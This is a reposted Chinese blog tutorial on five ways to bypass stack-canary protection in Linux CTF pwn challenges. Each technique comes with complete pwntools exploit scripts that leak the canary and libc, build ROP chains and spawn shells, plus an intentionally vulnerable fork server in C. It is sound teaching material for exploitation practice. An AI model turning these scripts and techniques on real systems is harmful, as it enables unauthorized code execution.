转载自N神博客

Canary介绍

1

Canary中文意译为金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警

那么，我们可以简单把它理解成一个类似于cookie之类的东西，程序执行时需要验证它是正确的才能正常向下执行
通常的栈溢出利用，需要覆盖返回地址以控制程序流，那么只需要在覆盖返回地址之前插入一个叫Canary的cookie信息，当函数返回之时检测Canary的值是否被更改，就可以判断是否发生了栈溢出这种危险行为，如果Canary被更改，程序会去执行__stack_chk_fail函数并结束。
一般来说，canary大部分情况都是在rbp-0x8的位置
img
栈中的canary大概长这样
img

覆盖低字节泄露Canary

有些存在溢出漏洞的程序，在要求我们输入字符后，会将我们输入的字符打印出来，而canary的最低位是\x00，是为了让canary可以截断输入的字符。我们可以利用溢出，多覆盖一个字节，将\x00给覆盖掉，那么canary就会和我们输入的字符连起来，那么，程序打印时没有检查打印字符的长度的话，就可以连带着Canary打印出来了，然后再次溢出，将泄露出的canary填入原来的位置，就可以覆盖到返回地址了

例题：攻防世界_厦门邀请赛pwn1

分析下代码
img
存在栈溢出，canary在rbp-0x8的位置，可以将输入的字符串打印出来
那思路就很明确了
先通过多写1字节将\x00覆盖，然后打印泄露Canary，最后直接ROP
覆盖完大概长这样
img

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

#!/usr/bin/env python
#coding=utf-8
from pwn import*
from LibcSearcher import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './babystack'
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("",)
elf=ELF(binary)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
pop_rdi_ret = 0x0000000000400a93
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
start = 0x0000000000400720
def exp():
    payload = "a"*0x88
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(payload)
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("a" * 0x88 + '\n')
    canary = u64(p.recv(7).rjust(8, '\x00'))
    log.success("canary==>" + hex(canary))
    payload = "a"*0x88 + p64(canary) + "a"*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(payload)
    p.recvuntil(">> ")
    p.sendline("3")
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    log.success("puts_addr==>" + hex(puts_addr))
    log.success("libc_base==>" + hex(libc_base))
    one_gadget = libc_base + 0xf1207
    payload = "a" * 0x88 + p64(canary) + "a"*8 + p64(one_gadget)
    p.recvuntil(">> ")
    p.sendline("1")
    p.send(payload)
    p.recvuntil(">> ")
    p.sendline("3")
    p.interactive()
exp()

Fork子进程程序爆破canary

Fork函数创建子进程相当于复制一份当前进程，并且其中的内存布局以及变量等，包括canary都与父进程一致
那么每次程序挂了，都相当于会再重新开始一遍
那我们可以逐位爆破canary，如果程序挂了就说明这一位不对，如果程序正常就可以接着跑下一位，直到爆破出正确的canary

例题

这基本上都是直接从veritas👴👴的blog里摘出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/wait.h>
void backdoor(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vul(void) {
    char buffer[100];
    read(STDIN_FILENO, buffer, 120);
}
int main(void) {
    init();
	pid_t pid;
	while(1) {
		pid = fork();
		if(pid < 0) {
			puts("fork error");
			exit(0);
		}
		else if(pid == 0) {
			puts("welcome");
			vul();
			puts("recv sucess");
		}
		else {
			wait(0);
		}
	}
}
//gcc main.c -m32 -o bin

然后就硬爆破

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

from pwn import *
p = process('./bin')
elf = ELF("./bin")
p.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
    for i in range(0x100):
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil('welcome\n')
        if 'recv' in a:
            canary += chr(i)
            break

p.sendline('a'*100 + canary + 'a'*12 + p32(0x80485FB))
p.sendline("cat flag")
flag = p.recv()
p.close()
log.success('key is:' + flag)
#  [*] Stopped process './bin' (pid 17747)
#  [+] key is:flag{test}

SSP(Stack Smashing Protect) Leak

这个方法不能getshell，但是可以通过触发canary时的报错信息，来打印出我们想要的内存中的值，例如flag
触发canary时会去执行_stack_chk_fail函数，执行这个函数时，会在屏幕上打印这么一段信息
img
我们分析下__stack_chk_fail的源码
img
他会调用一个__fortify_fail函数并传入”stack smashing detected”字符串
我们接着分析__fortify_fail函数
img
此处，第一个%s的参数是msg，第二个参数需要判断，如果msg!=NULL，就打印__libc_argv[0]，否则打印””，而argv[0]存储的就是程序名，且这个参数存于栈上，我们只要修改栈上的argv[0]指针为flag的地址，就可以打印出flag

例题：wdb2018_guess

分析main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf[48]; // [rsp+30h] [rbp-70h]
  char s2[56]; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(s2);
  if ( !strcmp(buf, s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

sub_400A11函数

1
2
3
4
5
6
7
8
9

__int64 sub_400A11()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = fork();
  if ( v1 == -1 )
    err(1, "can not fork");
  return v1;
}

可以看到，fork了一个子进程，并且判断依据是v7的大小，也就是说整个程序可以崩溃3次
这姿势和题目我专门写了一篇，思路可以直接看stack smash

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#!/usr/bin/env python
#coding=utf-8
from pwn import*
import sys
#context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
binary = './pwn1' 
local = 1
if local == 1:
    p=process(binary)
else:
    p=remote("",)
elf=ELF(binary)
libc=elf.libc
def exp():
    p.recvuntil("flag\n")
    payload = "a"*296 + p64(elf.got['puts'])
    p.sendline(payload)
    p.recvuntil("*** stack smashing detected ***: ")
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = puts_addr - libc.sym['puts']
    log.success("puts_addr==>" + hex(puts_addr))
    log.success("libc_base==>" + hex(libc_base))
    environ = libc_base + libc.sym['environ']
    p.recvuntil("flag\n")
    payload = "a"*296 + p64(environ)
    p.sendline(payload)
    p.recvuntil("*** stack smashing detected ***: ")
    stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stack_addr==>" + hex(stack_addr))
    flag = stack_addr - 0x168
    p.recvuntil("flag\n")
    payload = "a"*296 + p64(flag)
    p.sendline(payload)
    p.interactive()
exp()

warn

需要注意的是，这个方法在glibc2.27及以上的版本中已失效
我们继续分析2.27的源码
img
img
可以看到，执行__fortify_fail_abort函数时多传入了一个need_backtrace参数，而整个参数在前面就已经写死成false了，所以执行__libc_message函数时，第二个参数也被写死成了””字符串，打印不了栈中的信息了

修改TLS结构体

我们首先需要知道canary是从哪里

被取出来的
随便查看一个64位的程序，可以看到是从fs指向的位置加上0x28偏移的位置取出来的
而初始化canary时，fs寄存器指向的位置就是TLS结构体
img
这个被定义在glibc/sysdeps/x86_64/nptl/tls.h中结构体tcbhead_t就是用来描述TLS的
img
img
以上是libc_start_main关于canary生成的过程，_dl_random是内核提供的随机数生成器
fs指向的位置加上0x28偏移处的变量uintptr_t stack_chk_guard就是canary的值

例题：*CTF2018 babystack

分析代码
img
img
程序在main函数中创建了一个子线程，并在其中调用栈溢出函数，首先输入size，然后读入size大小的字符
在多线程中TLS将被放置在多线程的栈的顶部，因此我们能直接通过栈溢出对canary初始值进行更改

调试过程

断点在main函数，查看canary的地址，只能发现stack和tls结构体中两个canary的值
img
再断点到线程函数，搜索canary，会发现tls被初始化了，就是多线程函数在libc上方mmap一段空间用来开辟了一个新的tls结构
img
img
并且这个tls结构除了canary其他都没有用，这段空间里面的数据都是随便可写的
我们可以gdb.attach给canary前的变量断点，然后continue，如果打通了，说明没有遇到断点，即在子线程中canary之前的变量与需要用到的系统调用无关
但是需要注意，在canary之前的那几个变量，在正常程序中与系统调用有关，不能直接改写，一般利用数组越界来跳过他们去改写canary
i春秋公益CTF_BFnote这题就是利用数组越界跳过它们去改写canary
在内存里大概长这样
img

整体思路

①触发栈溢出，将Canary覆盖为aaaaaaaa，同时使用超长的payload将TLS中的Canary一并覆盖为aaaaaaaa
②栈迁移到bss段
③ROP

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

from pwn import *
p=process("./bs")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.terminal = ['terminator', '-x', 'sh', '-c']

pop_rdi_ret = 0x400c03
pop_rsi_r15 = 0x400c01
read_plt=0x4007e0
puts_got=0x601fb0
put_plt=0x4007c0
buf=0x602f00
leave_ret=0x400955

payload = p64(pop_rdi_ret)+p64(puts_got)+p64(put_plt)
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15)+p64(buf+0x8)+p64(0)+p64(read_plt)+p64(leave_ret)

print p.recvuntil("How many bytes do you want to send?")
p.sendline(str(6128))
p.send("a"*4112+p64(buf)+payload+"a"*(6128-4120-len(payload)))

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success("puts_addr==>" + hex(puts_addr))
log.success("libc_base==>" + hex(libc_base))
system = libc_base+libc.sym['system']
binsh = libc_base+libc.search("/bin/sh").next()
log.success("system_addr==>" + hex(system))
log.success("binsh==>" + hex(binsh))

p.sendline(p64(pop_rdi_ret)+p64(binsh)+p64(system))
p.interactive()

格式化字符串leak canary

针对有格式化字符串漏洞的栈溢出程序，利用格式化字符串漏洞可以任意地址读写的特点，泄露出栈上的canary，并填入对应位置，然后利用栈溢出get shell
这里我找了一个典型的例题，我们需要计算一下偏移，然后利用%p来泄露canary

例题：ASIS-CTF-Finals-2017 Mary_Morton

main函数
img
有选项可以选
img
选项2有格式化字符串漏洞
img
选项1有栈溢出漏洞
img
还有后门
img
开了canary保护
意味着要么溢出去触发canary，要么只能利用一次格式化字符串漏洞读内存
我们首先确定到可控输入位于格式化字符串第几个参数
img
尝试一番可以发现是第6个参数的位置
img
然后计算出buf和canary之间的距离为0x90-0x8=0x88=136
这是个64位程序，8字节为一个单位，136/8=17，那么canary距离格式化字符串函数23（17+6）个参数的距离
可以利用%23$p来leak canary
img
nice
接下来就把canary填入rbp-8的位置然后ret2text就彳亍了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import *
context.log_level = 'debug'
p = process('./Mary_Morton')
p.recvuntil('3. Exit the battle')
p.sendline('2')
p.sendline("%23$p")
p.recvuntil('0x')
canary = int(p.recv(16),16)
log.success("canary==>" + hex(canary))
system = 0x4008DA
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(system)
p.sendline('1')
p.sendline(payload)
p.interactive()

劫持__stack_chk_fail函数

改写__stack_chk_fail@got，但前提是必须有一个可以向任意地址写的漏洞，例如说格式化字符串漏洞
这个方法适用于只能输入一次的程序，如果说可以利用多次的话就可以像上面一样直接泄露canary了

例题：[BJDCTF 2nd]r2t4

程序比较简单，分析下
img
存在溢出存在格式化字符串漏洞有canary
img
有后门
直接改写__stack_chk_fail@got为backdoor
这个题限制不多，可以直接用fmtstr_payload模块一把梭
当然也可以手动构造
但是我还没做手动构造打的（懒🐕

exp

1
2
3
4
5
6
7
8
9
10
11

from pwn import*
context.log_level = 'debug'
p=remote("node3.buuoj.cn",28676)
#p = process("./r2t4")
elf = ELF("./r2t4")
libc = elf.libc
stack_check = 0x601018
flag_addr = 0x400626
payload = fmtstr_payload(6,{stack_check:flag_addr}).ljust(40,'a')
p.sendline(payload)
p.interactive()

以上就是我对于canary保护的绕过姿势的总结，可能还有我暂时没有涉及到的，也欢迎师傅们提点我一下，这篇博客也算是多天没学习以来的一个新开端吧
文中所有的例题和我做分享时的ppt已经上传github

参考链接：
https://p1kk.github.io/2019/10/26/canary%E7%9A%84%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF/canary/
https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/
https://ctf-wiki.org/pwn/linux/mitigation/canary/